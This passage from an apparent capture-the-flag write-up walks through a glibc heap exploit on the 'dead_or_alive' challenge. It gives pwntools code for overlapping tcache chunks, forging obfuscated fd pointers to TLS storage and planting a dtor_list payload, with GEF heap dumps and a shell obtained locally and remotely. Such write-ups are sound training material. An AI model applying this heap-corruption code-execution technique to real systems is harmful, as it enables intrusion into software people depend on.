0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a370 0x000055a13790a3e0 | p..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x000055a13790a2f0 | ...........7.U.. |
0x55a13790a0b0|+0x000b0|+0x000b0: 0x0000000000000000 0x000055a13790a300 | ...........7.U.. |
0x55a13790a0c0|+0x000c0|+0x000c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 28 lines, 0x1c0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000051 | ........Q....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x4141414141414141 0x00007f4c79923d70 | AAAAAAAAp=.yL... |
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00030|+0x002c0: 0x0000000000000000 0x0000000000000071 | ........q....... |
0x55a13790a2d0|+0x00040|+0x002d0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000020 0x0000000000000051 | .......Q....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=3,sz=0x50][1/1]
0x55a13790a300|+0x00020|+0x00300: 0x000055a46d83dc7a 0x7d6e2088ec6b3000 | z..m.U...0k.. n} | <- tcache[idx=5,sz=0x70][1/2]
0x55a13790a310|+0x00030|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00040|+0x00320: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000050 0x0000000000000031 | P.......1....... |
0x55a13790a340|+0x00010|+0x00340: 0x000055a13790a2a0 0x0000000000000000 | ...7.U.......... |
0x55a13790a350|+0x00020|+0x00350: 0x0000000000000048 0x0000000000000101 | H............... |
...
Notice that we have two Tcache Bin chunks that overlap, so we can use this to create another 0x71-sized chunk and modify the fd pointer of the overlapped chunk to point to the appropriate TLS-storage offset:
create(0x48, b'B' * 8 + p64(0x71) + p64(obfuscate(tls_addr - 0x80 + 0x20, heap_addr)), amount=0x41)
create(0x64, b'asdf')
gef> tcachebins
[!] tcache[idx=5, sz=0x70] is corrupted.
----------------------------------------------------------------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------------------------------------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x55a13790a370 count=7
-> Chunk(base=0x55a13790a360, addr=0x55a13790a370, size=0x20, flags=PREV_INUSE, fd=0x55a46d83daca(=0x55a13790a3c0))
-> Chunk(base=0x55a13790a3b0, addr=0x55a13790a3c0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd1a(=0x55a13790a410))
-> Chunk(base=0x55a13790a400, addr=0x55a13790a410, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd6a(=0x55a13790a460))
-> Chunk(base=0x55a13790a450, addr=0x55a13790a460, size=0x20, flags=PREV_INUSE, fd=0x55a46d83ddba(=0x55a13790a4b0))
-> Chunk(base=0x55a13790a4a0, addr=0x55a13790a4b0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc0a(=0x55a13790a500))
-> Chunk(base=0x55a13790a4f0, addr=0x55a13790a500, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc5a(=0x55a13790a550))
-> Chunk(base=0x55a13790a540, addr=0x55a13790a550, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=1, size=0x30, @0x55a13790a098]: fd=0x55a13790a480 count=3
-> Chunk(base=0x55a13790a470, addr=0x55a13790a480, size=0x30, flags=PREV_INUSE, fd=0x55a46d83ddda(=0x55a13790a4d0))
-> Chunk(base=0x55a13790a4c0, addr=0x55a13790a4d0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dc2a(=0x55a13790a520))
-> Chunk(base=0x55a13790a510, addr=0x55a13790a520, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=5, size=0x70, @0x55a13790a0b8]: fd=0x7f4c797076e0 count=1
-> Chunk(base=0x7f4c797076d0, addr=0x7f4c797076e0, size=0x7f4c798c93c0, flags=, fd=0x000000000000(=0x0007f4c79707), corrupted)
-> 0x7f4c79707 [corrupted chunk]
[+] Found 11 valid chunks in tcache.
Since we divided the payload in two, we need to perform the same process again with another chunk size, for instance, 0x41:
delete(create(0x38, b'asdf'))
a = create(0x38, b'a')
b = create(0x38, b'b')
delete(a)
delete(b)
create(0x28, p64(heap_addr + 0x3f0) + p64(0x41) + p64(0x1337) + p64(0x101))
delete(a)
create(0x38, b'C' * 24 + p64(0x21) + p64(obfuscate(tls_addr + 0x30, heap_addr)))
for _ in range(3):
create(0x18, b'Z')
After some additional heap feng-shui, we get the following heap state, where the next pointers go to TLS-storage from two chunk types:
gef> tcachebins
[!] tcache[idx=0, sz=0x20] is corrupted.
[!] tcache[idx=5, sz=0x70] is corrupted.
----------------------------------------------------------------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------------------------------------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x7f4c79707770 count=4
-> Chunk(base=0x7f4c79707760, addr=0x7f4c79707770, size=0x2a7b2359b0fead00, flags=, fd=0x90a3f64d66a17387(=0x90a3f64a9266e480), corrupted)
-> 0x90a3f64a9266e480 [corrupted chunk]
tcachebins[idx=2, size=0x40, @0x55a13790a0a0]: fd=0x55a13790a620 count=2
-> Chunk(base=0x55a13790a610, addr=0x55a13790a620, size=0x40, flags=PREV_INUSE, fd=0x55a46d83dcea(=0x55a13790a5e0))
-> Chunk(base=0x55a13790a5d0, addr=0x55a13790a5e0, size=0x40, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=5, size=0x70, @0x55a13790a0b8]: fd=0x7f4c797076e0 count=1
-> Chunk(base=0x7f4c797076d0, addr=0x7f4c797076e0, size=0x7f4c798c93c0, flags=, fd=0x000000000000(=0x0007f4c79707), corrupted)
-> 0x7f4c79707 [corrupted chunk]
[+] Found 4 valid chunks in tcache.
Now we need to find a way to call exit. The only way is increasing bounty_idx up to 50:
if (49 < bounty_idx) {
error("Maximum number of bounty registrations reached. Shutting down...");
/* WARNING: Subroutine does not return */
exit(-1);
}
Hence, we only need to create the needed chunks (except for two), using non-corrupted chunk sizes, and then attempt to create another one. But before that, we need to place the TLS-storage dtor_list payload so that we get code execution on exit:
for _ in range(23):
create(0x28, b'Z')
create(0x18, null_ptr_mangle_cookie)
create(0x64, tls_payload)
io.sendlineafter(b'==> ', b'1')
io.recv()
io.interactive()
With all this, we get a shell. Let’s run it again:
$ python3 solve.py
[*] './dead_or_alive_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
[*] './glibc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Starting local process './dead_or_alive_patched': pid 636490
[*] Heap base address: 0x556a32140000
[+] Glibc base address: 0x7ff8b78fc000
[*] Switching to interactive mode
$ ls
dead_or_alive dead_or_alive_patched glibc solve.py
Flag
Let’s run it on the remote instance to get the flag:
$ python3 solve.py 94.237.53.230:54018
[*] './dead_or_alive_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
[*] './glibc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Opening connection to 94.237.53.230 on port 54018: Done
[*] Heap base address: 0x556efc2d8000
[+] Glibc base address: 0x7f8e909eb000
[*] Switching to interactive mode
$ ls
dead_or_alive
flag.txt
glibc
$ cat flag.txt
HTB{n0t_50_w4lk1ng_d34d}
The full exploit code is here: solve.py.